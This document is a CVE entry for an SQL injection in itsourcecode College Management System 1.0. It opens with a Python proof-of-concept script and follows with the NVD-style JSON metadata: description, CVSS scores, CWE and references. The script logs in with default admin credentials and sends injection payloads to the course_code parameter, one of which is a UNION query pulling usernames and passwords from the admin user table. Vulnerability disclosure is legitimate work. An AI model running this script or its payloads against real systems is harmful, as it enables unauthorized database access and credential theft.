CVE-2026-4238

# CVE-2026-4238 SQL Injection PoC # Target: itsourcecode College Management System 1.0 # Vulnerability: /admin/courses.php course_code parameter import requests import sys target = "http://target.com/admin/courses.php" login_url = "http://target.com/admin/login.php" # Admin credentials credentials = { "username": "admin", "password": "admin" } def login(): """Login as admin to obtain session""" session = requests.Session() response = session.post(login_url, data=credentials) return session if "success" in response.text else None def extract_data(session, payload): """Send malicious payload to extract data""" data = { "course_code": payload, "action": "search" } response = session.post(target, data=data) return response # Boolean-based blind SQL injection payloads = [ "' AND 1=1 --", "' AND 1=2 --", "' UNION SELECT NULL,NULL,username,password FROM admin_users --", "' AND (SELECT COUNT(*) FROM users) > 0 --", "admin' AND SLEEP(5) --" ] print("CVE-2026-4238 SQL Injection Test") print("=" * 50) session = login() if session: for payload in payloads: print(f"Testing payload: {payload}") response = extract_data(session, payload) if response.status_code == 200: print("Payload executed successfully") else: print("Authentication failed")

{"cve": {"id": "CVE-2026-4238", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:18.460", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in itsourcecode College Management System 1.0. This issue affects some unknown processing of the file /admin/courses.php. The manipulation of the argument course_code leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used."}, {"lang": "es", "value": "Una vulnerabilidad ha sido encontrada en itsourcecode College Management System 1.0. Este problema afecta algún procesamiento desconocido del archivo /admin/courses.php. La manipulación del argumento course_code conduce a inyección SQL. Es posible iniciar el ataque remotamente. El exploit ha sido divulgado al público y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/ltranquility/cve_submit/issues/13", "source": "[email protected]"}, {"url": "https://itsourcecode.com/", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351180", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351180", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771278", "source": "[email protected]"}]}}